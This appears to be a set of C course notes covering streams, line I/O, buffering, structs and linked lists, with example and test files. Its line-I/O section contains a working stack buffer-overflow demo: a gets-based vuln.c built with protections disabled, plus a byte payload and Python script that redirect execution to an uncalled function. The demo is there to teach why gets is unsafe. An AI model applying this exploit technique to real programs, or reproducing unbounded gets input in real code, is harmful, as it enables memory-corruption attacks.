lexical scanner may read one character beyond a token

  • after reading 756 from 756+27, the + belongs to the next token
  • pushback lets a separate token-reading function leave it for its caller

20

an explicit lookahead buffer is an alternative to ungetc

  • author treats pushback as a convenient small-program technique

21

fprintf / fscanf add a FILE* before the format string

  • formatting/conversion rules remain those of printf / scanf
  • example writes angle, sine, and cosine for 0..359 degrees
  • convert degrees to radians; link the math library as needed

intfilesum reads integers from an already opened stream

  • output pointers receive sum and count
  • initialize both to zero
  • continue while fscanf assigns one number
  • add n and increment *count; parentheses in (*count)++ matter

stdin, stdout, stderr identify the standard streams

  • they can be passed to functions accepting FILE*
  • the same helper can therefore work on a file or on standard input

22

ungetc(c, stdin) supplies standard-input pushback

  • a separately named standard-input-only function is unnecessary
Examples & tests (2 files) - 4.4.3: Working with streams
Book exampleBook example: fgetcputc.cIn catalog
fgetcputc.cC / 33 lines
#include <stdio.h>

int main(int argc, char **argv)
{
    FILE *from, *to;
    int c, lcnt;
    if(argc < 3) {
        fprintf(stderr, "Too few arguments\n");
        return 1;
    }
    from = fopen(argv[1], "r");
    if(!from) {
        perror(argv[1]);
        return 2;
    }
    to = fopen(argv[2], "w");
    if(!to) {
        perror(argv[2]);
        fclose(from);
        return 3;
    }
    lcnt = 0;
    while((c = fgetc(from)) != EOF) {
        fputc(c, to);
        if(c == '\n')
            lcnt++;
        if(lcnt >= 10)
            break;
    }
    fclose(to);
    fclose(from);
    return 0;
}
Section test03 (04-04)In catalog
fgetcpuc.cC / 51 lines
#include <stdio.h>
#include <stdlib.h>

void open_file(FILE *f, const char *file_name, const char *mode){
    f = fopen(file_name, mode);
    if (!f) {
        perror(file_name);
        exit(1);
    }
}

int copy_lines(FILE *fr, FILE *fw, int nlines) {
    int c, i;
    for (i = 0; i < nlines; i++) {
        c = fgetc(fr);
        switch (c) {
        case EOF:
            return i;
        case '\n':
            i++;
        }
        fputc(c, fw);
        /* c = fputc(c, fw);
        if (c == EOF)
            return i;
        */
    }
    return i;
}

int main(int argc, char **argv) {
    FILE *fr, *fw;

    fr = fopen("fgetcpuc-read.txt", "r");
    if (!fr) {
        perror("fgetcpuc-read.txt");
        exit(1);
    }
    fw = fopen("fgetcpuc-write.txt", "w");
    if (!fw) {
        perror("fgetcpuc-write.txt");
        exit(1);
    }

    copy_lines(fr, fw, 10);

    fclose(fw);
    fclose(fr);

    return 0;
}

Line Input/Output

Signature Purpose Key Note
int fputs(const char *s, FILE *f); Write stream No formatting/newline
char *fgets(char *s, int n, FILE *f); Read stream Stops at newline (included), EOF, or n-1 chars
int puts(const char *s); Write to stdout Appends newline
char *gets(char *buf); Read from stdin UNSAFE: Buffer flaw
void string50(FILE *f1, FILE *f2)
{
    char buf[51];                           /* 50 chars + null terminator */
    while (fgets(buf, sizeof(buf), f1)) {   /* read line, max 50 chars */
        int i;
        int nlpos = -1;                     /* newline position; -1 = none */
        for (i = 0; i < sizeof(buf) && buf[i]; i++)
            if (buf[i] == '\n') {           /* find newline in buffer */
                nlpos = i;
                break;
            }
        if (nlpos == -1) {                  /* no newline: line too long */
            int c;
            fputc('\n', f2);                /* newline for truncated line */
            while ((c = fgetc(f1)) != EOF)  /* skip rest of long line */
                if (c == '\n')
                    break;
        } else {                            /* newline found: fits buf */
            buf[nlpos] = '\0';              /* replace newline with '\0' */
            fprintf(f2, "[%s]\n", buf);     /* print line in brackets */
        }
    }
}

The stack grows toward lower addresses, opposite to array traversal. Writing past a local array's end with gets overwrites the return address on the stack, allowing an attacker to redirect execution to arbitrary code embedded in the input. This technique, called buffer overflow exploit, is one of the simplest and most well-known methods for breaking into computer systems.

Show the example
#include <stdio.h>
#include <unistd.h>

void win(void)
{
    write(1, "*** EXPLOITED ***\n", 18);
    _exit(0);
}

void vuln(void)
{
    char buf[16];
    gets(buf);
}

int main(void)
{
    vuln();
    return 0;
}

Compile without stack protection:

gcc -std=c89 -fno-stack-protector -no-pie -z execstack -o vuln vuln.c

The stack inside vuln() looks like this:

buf[0..15]      16 bytes   local variable
saved EBP        8 bytes   push %rbp put this here
return address   8 bytes   call instruction put this here

The function win is never called in the program. However, we can find its address using objdump -d vuln and overwrite the return address with it:

printf 'AAAAAAAAAAAAAAAABBBBBBBB\x46\x11\x40\x00\x00\x00\x00\x00' | ./vuln

The payload is 32 bytes: 16 bytes fill the buffer, 8 bytes overwrite the saved base pointer, and the last 8 bytes replace the return address with the address of win. When vuln executes ret, the CPU pops our crafted address and jumps to win instead of returning to main.

Detailed notes - 4.4.4: Reading and writing lines

1

text streams commonly contain newline-separated lines

  • library provides line-oriented operations alongside byte-oriented ones

2

fputs(s, stream) outputs a string without interpreting a format

  • does not add a newline
  • percent signs are ordinary characters
  • nonnegative result on success; EOF on error
  • successful result is not guaranteed to equal string length

3

fgets(buffer, size, stream) needs the destination capacity

  • user input can be longer than any fixed buffer
  • capacity is a bound on storage, not a prediction of the input length

4

with a usable positive capacity, fgets reads at most size-1 bytes

  • stops after newline, at EOF/error, or at the capacity limit
  • retains a newline if read
  • appends zero on a successful read and returns buffer
  • NULL means failure/EOF before a successful result; inspect stream status
  • do not assume valid buffer contents after a read error

5

string50 example reads into char buf[51]

  • searches each chunk for newline
  • newline present: treat it as a complete line
  • newline absent: reject the chunk as overlong/incomplete
  • source's label "50 characters" includes the newline in the accepted chunk
  • a final line without newline needs a separate policy

6

rejected line handling:

  • output a blank line
  • consume remaining input through newline or EOF
  • avoids treating the remainder as another independent line

7

accepted line handling:

  • replace its newline with zero
  • print the content inside brackets, then a newline

8

puts(s) outputs to stdout and adds a newline

  • unlike fputs, caller need not include \n for this purpose
  • historical gets had no capacity parameter

9

do not use gets for input

  • modern standard C removed this unsafe interface

10

gets cannot know the destination's bounds

  • input length is controlled externally
  • arbitrarily large allocation does not establish an upper bound on input

11

writing beyond a local array can corrupt nearby stack state

  • in the book's conventional stack layout, this may include return addresses
  • a crash is only one possible consequence

12

crafted overlong input can redirect program control flow

  • illustrates why unchecked input is a security problem, not just a reliability issue
  • actual exploitability depends on layout and platform protections

13

memory corruption can make a program act outside its intended function

  • consequences depend on the privileges and role of the program

14

buffer overflow exploit is the name for exploiting an out-of-bounds write

  • preventing the invalid write is the fundamental requirement

15

terminology aside: hacker also has a longstanding noncriminal programming meaning

  • author emphasizes that software security extends beyond cryptography

16

use bounded input interfaces instead of gets

  • historical availability is not a reason to retain an unsafe call

17

passing an uninitialized pointer does not create input storage

  • pointer must first refer to an adequately allocated object

18

storage always has a size, whether static or dynamically allocated

  • omitting a size argument only prevents the callee from enforcing that size

19

arbitrary-length input needs managed growth

  • read chunks/characters and expand a buffer or another data structure
  • portable ISO C and POSIX provide different sets of library facilities
  • POSIX getline can manage a growing buffer; the book develops the mechanism manually
Tests & experiments (6 files) - 4.4.4: Reading and writing lines
Section test04 (04-04)In catalog
fgets.cC / 19 lines
#include <stdio.h>

int main(void)
{
    // BAD: Uninitialized pointer (will crash)
    // char *bad_ptr;
    // fgets(bad_ptr, 50, stdin);

    // GOOD: Pointer backed by stack memory
    char buf[50];
    char *good_ptr = buf;

    printf("Enter text: ");
    if (fgets(good_ptr, 50, stdin) != NULL) {
        printf("You entered: %s", good_ptr);
    }

    return 0;
}
fgets.sAssembly / 45 lines
   .file   "fgets.c"
    .intel_syntax noprefix
    .text
    .section    .rodata.str1.1,"aMS",@progbits,1
.LC0:
    .string "Enter text: "
.LC1:
    .string "You entered: %s"
    .section    .text.startup,"ax",@progbits
    .globl  main
    .type   main, @function
main:
.LFB0:
    .cfi_startproc
    push    rbx
    .cfi_def_cfa_offset 16
    .cfi_offset 3, -16
    lea rdi, .LC0[rip]
    xor eax, eax
    sub rsp, 64
    .cfi_def_cfa_offset 80
    call    printf@PLT
    lea rbx, 14[rsp]
    mov esi, 50
    mov rdx, QWORD PTR stdin[rip]
    mov rdi, rbx
    call    fgets@PLT
    test    rax, rax
    je  .L2
    mov rsi, rbx
    lea rdi, .LC1[rip]
    xor eax, eax
    call    printf@PLT
.L2:
    add rsp, 64
    .cfi_def_cfa_offset 16
    xor eax, eax
    pop rbx
    .cfi_def_cfa_offset 8
    ret
    .cfi_endproc
.LFE0:
    .size   main, .-main
    .ident  "GCC: (Debian 14.2.0-19) 14.2.0"
    .section    .note.GNU-stack,"",@progbits
sin360.cC / 18 lines
#include <stdio.h>
#include <math.h>

int main() {
    int i;
    double s, c;
    FILE *f;

    f = fopen("sincos.txt", "w");

    for (i = 0; i < 360; i++) {
        s = sin(M_PI/180*i);
        c = cos(M_PI/180*i);
        fprintf(f, "%d \t %f \t %f\n", i, s, c);
    }

    return 0;
}
vuln.cC / 20 lines
/*
gcc -std=c89 -fno-stack-protector -no-pie -z execstack -fno-asynchronous-unwind-tables -S -o vuln.s vuln.c
*/

#include <stdio.h>

void win(void) {
    write(1, "*** EXPLOITED ***\n", 18);
    _exit(0);
}

void vuln(void) {
    char buf[16];
    gets(buf);
}

int main(void) {
    vuln();
    return 0;
}
vuln.pyPython / 5 lines
import sys
padding = b'A' * 16
fake_rbp = b'B' * 8
win_addr = (0x401146).to_bytes(8, 'little')
sys.stdout.buffer.write(padding + fake_rbp + win_addr)
vuln.sAssembly / 73 lines
 .file   "vuln.c"
    .text
    .section    .rodata
.LC0:
    .string "*** EXPLOITED ***\n"
    .text
    .globl  win
    .type   win, @function
win:
.LFB0:
    .cfi_startproc
    pushq   %rbp
    .cfi_def_cfa_offset 16
    .cfi_offset 6, -16
    movq    %rsp, %rbp
    .cfi_def_cfa_register 6
    movl    $18, %edx
    leaq    .LC0(%rip), %rax
    movq    %rax, %rsi
    movl    $1, %edi
    movl    $0, %eax
    call    write@PLT
    movl    $0, %edi
    movl    $0, %eax
    call    _exit@PLT
    nop
    popq    %rbp
    .cfi_def_cfa 7, 8
    ret
    .cfi_endproc
.LFE0:
    .size   win, .-win
    .globl  vuln
    .type   vuln, @function
vuln:
.LFB1:
    .cfi_startproc
    pushq   %rbp
    .cfi_def_cfa_offset 16
    .cfi_offset 6, -16
    movq    %rsp, %rbp
    .cfi_def_cfa_register 6
    subq    $16, %rsp
    leaq    -16(%rbp), %rax
    movq    %rax, %rdi
    call    gets@PLT
    nop
    leave
    .cfi_def_cfa 7, 8
    ret
    .cfi_endproc
.LFE1:
    .size   vuln, .-vuln
    .globl  main
    .type   main, @function
main:
.LFB2:
    .cfi_startproc
    pushq   %rbp
    .cfi_def_cfa_offset 16
    .cfi_offset 6, -16
    movq    %rsp, %rbp
    .cfi_def_cfa_register 6
    call    vuln
    movl    $0, %eax
    popq    %rbp
    .cfi_def_cfa 7, 8
    ret
    .cfi_endproc
.LFE2:
    .size   main, .-main
    .ident  "GCC: (Debian 14.2.0-19) 14.2.0"
    .section    .note.GNU-stack,"",@progbits

About Input/Output buffering

int c = getchar();      /* OS read: one big chunk into buffer */
                        /* returns first byte, rest stays     */
                        /*   in the buffer for next calls     */

printf("loading...");   /* written into output buffer,        */
                        /*   not yet visible on screen        */
crash();                /* buffer never flushed -> message    */
                        /*   lost, debugging is misleading    */

printf("loading...\n"); /* '\n' flushes stdout (line buffered */
                        /*   when attached to a terminal)     */
fflush(stdout);         /* or force the flush explicitly      */
Detailed notes - 4.4.5: I/O buffering

1

stdio input can fetch a block from the OS and return one requested byte

  • subsequent getchar/fgetc calls consume the remaining library buffer
  • avoids a system call for every byte

2

stdio output accumulates data before larger writes to the OS

  • reduces system-call overhead even when the program uses fputc repeatedly

3

input buffering is often transparent to a simple stream-processing program

4

output buffering can hide diagnostic messages before a crash

  • absence of visible text does not prove the print call was never reached

5

fflush(output_stream) explicitly sends pending library output onward

  • check failure when output integrity matters
  • flushing stdio does not itself guarantee durable storage on disk

6

fflush(stdin) is not a portable way to discard interactive input

  • input-stream extensions and their semantics vary

7

output is also flushed when required by a full buffer and by normal termination

  • abrupt termination need not flush library buffers

8

terminal output is commonly line-buffered rather than fully buffered

  • terminal identity is different from a promise of a physical keyboard/screen

9

line buffering flushes on newline

  • terminal input can also trigger flushing of line-buffered output
  • helps display prompts before waiting for input

10

precise automatic flushing conditions depend on the stream setup

  • explicitly fflush a prompt when immediate visibility is required

11

stderr is normally unbuffered and initially not fully buffered

  • its buffering mode can be changed
  • use explicit flushing when the program's required behavior depends on it

12

setbuf / setvbuf configure buffering before ordinary stream operations

  • full buffering, line buffering, or unbuffered mode
  • setvbuf can also specify a buffer and its size
  • supplied buffer must remain valid for the stream's use

13

BUFSIZ and actual system-call transfer sizes are implementation details

  • book's 8 KB / 4 KB / 1 KB observations describe a particular library setup
  • do not hard-code those observations as universal stdio behavior

Output to a string and Input from a string

Function Prototype
sprintf int sprintf(char *buf, const char *fmt, ...)
sscanf int sscanf(const char *str, const char *fmt, ...)

sprintf writes formatted output into a string buffer instead of a file/stream:

char buf[64];
sprintf(buf, "%d + %d = %d", 2, 3, 5);
/* buf now contains "2 + 3 = 5" */

sscanf reads formatted input from a string instead of a stream:

const char *s = "10 20 30";
int a, b, c;
sscanf(s, "%d %d %d", &a, &b, &c);
/* a=10, b=20, c=30 */
Detailed notes - 4.4.6: Formatting into and scanning from strings

1

sprintf(buffer, format, ...) writes formatted text into memory

  • same format interpretation as printf
  • caller must ensure enough room for the entire output and final zero
  • bounding each %s alone does not bound other parts of the complete output

2

snprintf also receives destination capacity

  • bounds writes and supports detecting truncation through its result
  • preferred when formatting into a finite buffer

3

availability of declarations depends on language mode and library interfaces

  • old strict-C environments may lack snprintf
  • check target requirements rather than assuming all libraries are identical

4

format a number or record before sending it through a lower-level interface

  • first build its textual representation in a buffer
  • then pass those bytes to an OS write operation

5

sprintf's successful return is output length excluding the final zero

  • related formatting functions return an error indication on failure

6

sscanf(source_string, format, ...) parses existing text

  • destinations and conversion rules follow scanf
  • source terminator supplies the end-of-input boundary
  • inspect successful-assignment count and distinguish input failure

7

author prefers more explicit parsing when scanf-style diagnostics are inadequate

Block Input/Output

In practice, C programmers usually use system calls (open, read, write, close) when working with binary data.

Detailed notes - 4.4.7: Block input/output

1

C programs can process both textual and binary files

2

fgetc/fputc also handle arbitrary bytes

  • binary record files often need fixed-size blocks and random positioning
  • fixed record sizes let offsets be computed like array indices
  • pipes/sockets remain streams and do not acquire random access merely from binary encoding

3

book often prefers low-level OS I/O for binary random-access workloads

  • this is a design choice; stdio also supports binary data

4

stdio's main conveniences are formatting and buffering

  • formatting is valuable for text
  • buffering helps sequential streams
  • frequent seeking can reduce that benefit

5

fread/fwrite provide block operations within the FILE* interface

  • next part studies corresponding OS-level services

6

fread(ptr, size, count, stream) / fwrite(ptr, size, count, stream)

  • size: bytes per element; count: requested elements
  • buffer must hold at least size * count bytes
  • size/count and result use size_t, not the simplified int signatures in the book

7

result counts complete elements transferred, not bytes

  • short result can reflect EOF or an error
  • partial progress can occur before failure; result need not be zero

8

feof(stream) reports an encountered EOF condition

  • ferror(stream) reports an I/O error indicator
  • check the read's result first; feof does not predict whether another read will succeed

9

fseek(stream, offset, whence) changes a seekable stream's position

  • SEEK_SET: relative to start
  • SEEK_CUR: relative to current position
  • SEEK_END: relative to end
  • returns 0 on success, nonzero on failure
  • terminals and pipes are not ordinary seekable files
  • text-stream positioning can have additional portability restrictions

10

using size = 1 makes the transferred-element count a byte count

  • often convenient for general-purpose block copying

Composite data types and dynamic structures

Detailed notes - 4.5: Structures and linked data structures

1

linked lists and trees need compound objects as well as pointers

  • C struct corresponds to the Pascal record
  • this chapter adapts earlier dynamic-data-structure techniques to C

Structures

struct student {                /* type: struct student       */
    char name[32];
    int year;
    float average;
};

struct student s1;
struct student s2 = {           /* init at declaration only;  */
    "Ann", 2000, 4.8            /*   order = field order      */
};

s1.year = 2000;                 /* field access via '.'       */
strcpy(s1.name, "Ann");         /* arrays: no `=`             */

struct student *p = &s1;
p->year = 2000;                 /* same as (*p).year          */

s1 = s2;                        /* whole-struct copy ok       */
memcpy(&s1, &s2, sizeof(s1));   /*   (or memcpy)              */

sizeof(struct X) is the only reliable size - padding may sit between fields. Never dump a struct to a file or socket; serialize field-by-field.

Detailed notes - 4.5.1: Structures

1

structure combines named fields that can have different types

  • array elements instead all have the same element type

2

structure declaration:

  • struct tag { field declarations } optional_object_names;
  • full type name is struct tag
  • object.field selects a member
  • semicolon terminates the declaration

3

student example combines:

  • name and group as bounded char arrays
  • sex code, birth year, major code, year of study
  • floating-point average mark
  • fields are assigned individually, with string data copied into their arrays
  • a braced initializer can initialize all fields in declaration order
  • unlike arrays, structures of the same type can be assigned as wholes

4

structure tags use a separate C namespace from ordinary identifiers

  • a tag and variable/typedef can share a spelling
  • choose names that remain understandable to readers

5

structure size can exceed the sum of its field sizes

  • fields must satisfy implementation/architecture alignment requirements
  • misaligned access may be slow or unsupported on a target

6

compiler inserts padding between fields where needed

  • a char followed by int may require intervening bytes
  • padding is not another user-declared field

7

alignment affects both total size and member offsets

  • do not infer either simply by adding source-level type sizes

8

use sizeof to allocate storage for the actual compiled structure

  • struct student *ptr;
  • ptr = malloc(sizeof(*ptr));
  • equivalent size expression: sizeof(struct student)
  • check allocation failure before accessing fields

9

members retain declaration order, but padding and ABI details vary

  • first ordinary member begins at the structure's start
  • raw structure bytes are not a portable persistent/network representation
  • recompilation for another data model can change layout

10

serialize explicitly when exchanging data across implementations

  • text is one option
  • binary formats need defined field positions, widths, and byte order
  • decode bytes into native values instead of treating them as an arbitrary struct image

11

structures can be assigned, passed, and returned by value

  • copies include the values of contained fields
  • pointer parameters avoid copying large structures
  • an output-structure parameter is another interface choice

12

book discusses using memcpy to make structural copying conspicuous

  • ordinary structure assignment is also valid C
  • both mechanisms make shallow copies of pointer fields
  • neither duplicates owned dynamic objects automatically
  • choose an explicit ownership policy before copying

13

field access through a pointer can be written (*p).year

  • parentheses are needed because . binds more tightly than unary *
  • *p.year instead tries member access on p itself

14

p->year is the concise equivalent of (*p).year

  • left operand must point to an appropriate structure/union

15

bit-fields assign a width to an integer member

  • unsigned io_error:1; stores a one-bit flag
  • unsigned count:4; can represent 0..15
  • consecutive fields may share an allocation unit

16

bit-field layout is implementation-dependent

  • allocation-unit size, bit order, alignment, and boundary crossing can vary
  • plain int bit-field signedness can also vary
  • do not infer a portable packet layout from these declarations

17

implementations may support additional bit-field base types

  • example uses unsigned char fields to obtain byte-sized packing on its target
  • verify actual size rather than assuming the extension behaves identically elsewhere

18

understand bit-fields when reading code

  • explicit masks and shifts are another way to represent flags
  • author's preference for masks is a design/style choice
One illustrative ABI: char alignment 1, int alignment 4; actual layout is implementation-dependent.
Structure layout includes padding. Open full size - Editable SVG
Tests & experiments (6 files) - 4.5.1: Structures
Section test01 (04-05)In catalog
struct-00.cC / 11 lines
struct vec {
    int x;
    int y;
};

int main() {
    struct vec v1;
    v1.x = 1;
    v1.y = ;
    return 0;
}
struct-01.asmAssembly / 116 lines

struct:     file format elf64-x86-64


Disassembly of section .init:

0000000000001000 <_init>:
    1000:   48 83 ec 08             sub    $0x8,%rsp
    1004:   48 8b 05 c5 2f 00 00    mov    0x2fc5(%rip),%rax        # 3fd0 <__gmon_start__@Base>
    100b:   48 85 c0                test   %rax,%rax
    100e:   74 02                   je     1012 <_init+0x12>
    1010:   ff d0                   call   *%rax
    1012:   48 83 c4 08             add    $0x8,%rsp
    1016:   c3                      ret

Disassembly of section .plt:

0000000000001020 <.plt>:
    1020:   ff 35 ca 2f 00 00       push   0x2fca(%rip)        # 3ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
    1026:   ff 25 cc 2f 00 00       jmp    *0x2fcc(%rip)        # 3ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
    102c:   0f 1f 40 00             nopl   0x0(%rax)

Disassembly of section .plt.got:

0000000000001030 <__cxa_finalize@plt>:
    1030:   ff 25 aa 2f 00 00       jmp    *0x2faa(%rip)        # 3fe0 <__cxa_finalize@GLIBC_2.2.5>
    1036:   66 90                   xchg   %ax,%ax

Disassembly of section .text:

0000000000001040 <_start>:
    1040:   31 ed                   xor    %ebp,%ebp
    1042:   49 89 d1                mov    %rdx,%r9
    1045:   5e                      pop    %rsi
    1046:   48 89 e2                mov    %rsp,%rdx
    1049:   48 83 e4 f0             and    $0xfffffffffffffff0,%rsp
    104d:   50                      push   %rax
    104e:   54                      push   %rsp
    104f:   45 31 c0                xor    %r8d,%r8d
    1052:   31 c9                   xor    %ecx,%ecx
    1054:   48 8d 3d ce 00 00 00    lea    0xce(%rip),%rdi        # 1129 <main>
    105b:   ff 15 5f 2f 00 00       call   *0x2f5f(%rip)        # 3fc0 <__libc_start_main@GLIBC_2.34>
    1061:   f4                      hlt
    1062:   66 2e 0f 1f 84 00 00    cs nopw 0x0(%rax,%rax,1)
    1069:   00 00 00
    106c:   0f 1f 40 00             nopl   0x0(%rax)

0000000000001070 <deregister_tm_clones>:
    1070:   48 8d 3d 99 2f 00 00    lea    0x2f99(%rip),%rdi        # 4010 <__TMC_END__>
    1077:   48 8d 05 92 2f 00 00    lea    0x2f92(%rip),%rax        # 4010 <__TMC_END__>
    107e:   48 39 f8                cmp    %rdi,%rax
    1081:   74 15                   je     1098 <deregister_tm_clones+0x28>
    1083:   48 8b 05 3e 2f 00 00    mov    0x2f3e(%rip),%rax        # 3fc8 <_ITM_deregisterTMCloneTable@Base>
    108a:   48 85 c0                test   %rax,%rax
    108d:   74 09                   je     1098 <deregister_tm_clones+0x28>
    108f:   ff e0                   jmp    *%rax
    1091:   0f 1f 80 00 00 00 00    nopl   0x0(%rax)
    1098:   c3                      ret
    1099:   0f 1f 80 00 00 00 00    nopl   0x0(%rax)

00000000000010a0 <register_tm_clones>:
    10a0:   48 8d 3d 69 2f 00 00    lea    0x2f69(%rip),%rdi        # 4010 <__TMC_END__>
    10a7:   48 8d 35 62 2f 00 00    lea    0x2f62(%rip),%rsi        # 4010 <__TMC_END__>
    10ae:   48 29 fe                sub    %rdi,%rsi
    10b1:   48 89 f0                mov    %rsi,%rax
    10b4:   48 c1 ee 3f             shr    $0x3f,%rsi
    10b8:   48 c1 f8 03             sar    $0x3,%rax
    10bc:   48 01 c6                add    %rax,%rsi
    10bf:   48 d1 fe                sar    $1,%rsi
    10c2:   74 14                   je     10d8 <register_tm_clones+0x38>
    10c4:   48 8b 05 0d 2f 00 00    mov    0x2f0d(%rip),%rax        # 3fd8 <_ITM_registerTMCloneTable@Base>
    10cb:   48 85 c0                test   %rax,%rax
    10ce:   74 08                   je     10d8 <register_tm_clones+0x38>
    10d0:   ff e0                   jmp    *%rax
    10d2:   66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)
    10d8:   c3                      ret
    10d9:   0f 1f 80 00 00 00 00    nopl   0x0(%rax)

00000000000010e0 <__do_global_dtors_aux>:
    10e0:   f3 0f 1e fa             endbr64
    10e4:   80 3d 25 2f 00 00 00    cmpb   $0x0,0x2f25(%rip)        # 4010 <__TMC_END__>
    10eb:   75 2b                   jne    1118 <__do_global_dtors_aux+0x38>
    10ed:   55                      push   %rbp
    10ee:   48 83 3d ea 2e 00 00    cmpq   $0x0,0x2eea(%rip)        # 3fe0 <__cxa_finalize@GLIBC_2.2.5>
    10f5:   00
    10f6:   48 89 e5                mov    %rsp,%rbp
    10f9:   74 0c                   je     1107 <__do_global_dtors_aux+0x27>
    10fb:   48 8b 3d 06 2f 00 00    mov    0x2f06(%rip),%rdi        # 4008 <__dso_handle>
    1102:   e8 29 ff ff ff          call   1030 <__cxa_finalize@plt>
    1107:   e8 64 ff ff ff          call   1070 <deregister_tm_clones>
    110c:   c6 05 fd 2e 00 00 01    movb   $0x1,0x2efd(%rip)        # 4010 <__TMC_END__>
    1113:   5d                      pop    %rbp
    1114:   c3                      ret
    1115:   0f 1f 00                nopl   (%rax)
    1118:   c3                      ret
    1119:   0f 1f 80 00 00 00 00    nopl   0x0(%rax)

0000000000001120 <frame_dummy>:
    1120:   f3 0f 1e fa             endbr64
    1124:   e9 77 ff ff ff          jmp    10a0 <register_tm_clones>

0000000000001129 <main>:
    1129:   55                      push   %rbp
    112a:   48 89 e5                mov    %rsp,%rbp
    112d:   c7 45 f8 01 00 00 00    movl   $0x1,-0x8(%rbp)
    1134:   c7 45 fc 02 00 00 00    movl   $0x2,-0x4(%rbp)
    113b:   b8 00 00 00 00          mov    $0x0,%eax
    1140:   5d                      pop    %rbp
    1141:   c3                      ret

Disassembly of section .fini:

0000000000001144 <_fini>:
    1144:   48 83 ec 08             sub    $0x8,%rsp
    1148:   48 83 c4 08             add    $0x8,%rsp
    114c:   c3                      ret
struct-01.cC / 15 lines
#include <stdio.h>

typedef struct {
    int x, y, z;
} struc;

int main()
{
    struc s;
    s.x = 1;
    s.y = 2;
    s.z = 3;
    printf("%d %d %d\n", s.x, s.y, s.z);
    return 0;
}
struct-01.sAssembly / 15 lines
   .file   "struct.c"
    .text
    .globl  main
    .type   main, @function
main:
    pushq   %rbp
    movq    %rsp, %rbp
    movl    $1, -8(%rbp)
    movl    $2, -4(%rbp)
    movl    $0, %eax
    popq    %rbp
    ret
    .size   main, .-main
    .ident  "GCC: (Debian 14.2.0-19) 14.2.0"
    .section    .note.GNU-stack,"",@progbits
struct-02.cC / 17 lines
#include <stdio.h>
#include <stdlib.h>

typedef struct {
    int x, y, z;
} struc;

int main()
{
    struc *s;
    s = malloc(sizeof(struc));
    s->x = 1;
    s->y = 2;
    s->z = 3;
    printf("%d %d %d\n", s->x, s->y, s->z);
    return 0;
}
struct-03.cC / 25 lines
#include <stdio.h>

typedef struct {
    int a, b, c, d;
} struc;

void modify_struct(struc s)
{
    s.a = 5;
    s.b = 6;
    s.c = 7;
    s.d = 8;
}

int main()
{
    struc s;
    s.a = 1;
    s.b = 2;
    s.c = 3;
    s.d = 4;
    modify_struct(s);
    printf("%d %d %d %d\n", s.a, s.b, s.c, s.d);
    return 0;
}

Singly linked lists

struct list {
    int data;
    struct list *next;
};

Write the function to convert an array to a list:

Show the solution
struct list *arr2lst(int a[], int n)
{
    struct list *tmp, *first, *last;

    first = NULL;
    for (int i = 0; i < n; i++) {
        tmp = malloc(sizeof(*tmp));
        tmp->data = a[i];
        tmp->next = NULL;
        if (!first)
            first = tmp;
        else
            last->next = tmp;
        last = tmp;
    }
    return first;
}

struct list *arr2lst2(int a[], int n)
{
    struct list *tmp, *first;

    first = NULL;
    for (int i = n-1; i >= 0; i--) {
        tmp = malloc(sizeof(*tmp));
        tmp->data = a[i];
        tmp->next = first;
        first = tmp;
    }
    return first;
}

struct list *arr2lst3(int *a, int n)
{
    struct list *tmp;
    if (!n)
        return NULL;
    tmp = malloc(sizeof(*tmp));
    tmp->data = *a;
    tmp->next = arr2lst3(a + 1, n - 1);
    return tmp;
}
Write a function to remove negative items from a list.
Show the solution
void poslst(struct list **p)
{
    struct list *tmp;
    while (*p) {
        if ((*p)->data < 0) {
            tmp = *p;
            *p = (*p)->next;
            free(tmp);
        } else
            p = &(*p)->next;
    }
}

void poslst2(struct list **pl)
{
    if (!*pl)
        return;
    poslst2(&(*pl)->next);
    if ((*pl)->data < 0) {
        struct list* tmp = *pl;
        *pl = (*pl)->next;
        free(tmp);
    }
}
Detailed notes - 4.5.2: Singly linked lists

1

C examples assume the earlier Pascal list algorithms are understood

  • main change is how structures and pointers are expressed

2

node contains payload and pointer to next node

  • struct item { int data; struct item *next; };
  • last next = NULL
  • head = NULL represents an empty list

build a list from an integer array by appending:

  • first and last start NULL
  • allocate node, set data, set next = NULL
  • nonempty list: link old last->next to new node
  • empty list: make new node first
  • update last; return first after processing the array
  • real code must handle allocation failure and release any partial result

3

alternative: scan array backward and prepend each element

  • new->next = first; first = new
  • preserves the array's original order in the final list
  • no separate empty-list branch is needed

recursive construction:

  • length 0 -> NULL
  • create a node holding the first array element
  • next = recursive result for arr+1 and len-1
  • arr+1 denotes the remaining array starting at its second element

4

summing a list:

  • iterate p from head through p->next until NULL
  • accumulate p->data
  • const struct item * expresses read-only node access
  • recursive equivalent: empty -> 0; otherwise data + sum(next)
  • concise recursive form does not remove its stack-depth requirements

delete nodes without reading freed memory:

  • save current node, advance head, then free saved node
  • or save next pointer, free current, then advance to saved next
  • otherwise either the next address or the current allocation can be lost

5

recursive deletion:

  • empty list -> return
  • delete the tail, then free the current node
  • iterative deletion avoids recursion depth on a long list

filter example removes every negative-valued node

  • must also work when the first or several consecutive nodes are removed

6

deletion changes the pointer that leads to the current node

  • that pointer may be the head variable or a previous node's next member
  • store its address to handle both cases uniformly

7

struct item **pcur tracks the incoming link

  • initialize pcur = &first
  • while *pcur is non-NULL:
    • negative: save *pcur, replace *pcur with its next, free saved node
    • retained: advance pcur to &(*pcur)->next
  • after deletion do not advance: the next node is already current

function delete_negatives(struct item **pcur) can use that same loop

  • caller passes &first because the head may change
  • parameter directly supplies the first link to examine

recursive filter first processes the tail through &node->next

  • then unlinks/frees the current node if its value is negative
  • an empty link is the base case

alternative API returns a replacement head

  • first = delete_negatives(first)
  • recursively replace next, then return current node or its successor
  • caller must install the returned pointer

8

author dislikes this replacement-head convention despite its popularity

  • distinguishes a valid C interface from his preferred decomposition style

9

author prefers the pointer-to-pointer form because the function completes the update

  • caller is not required to perform a separate head assignment afterward
  • later section examines output parameters and result values more broadly

Tests & experiments (8 files) - 4.5.2: Singly linked lists
Section test02 (04-05)In catalog
list-00.cC / 252 lines
#include <stdio.h>
#include <stdlib.h>

struct list {
    int data;
    struct list *next;
};

void prtlstchr(struct list *first) {
    for (; first; first = first->next)
        putchar(first->data);
    printf("\n");
}

void prtlst(struct list *first) {
    for (; first; first = first->next)
        printf("%d ", first->data);
    printf("\n");
}

void prtlst2(struct list *first) {
    if (first) {
        printf("%d ", first->data);
        prtlst2(first->next);
    } else {
        printf("\n");
    }
}

struct list *get2lst() {
    int c;
    struct list *tmp, *first;

    first = NULL;
    while ((c = getchar()) != EOF) {
        tmp = malloc(sizeof(*tmp));
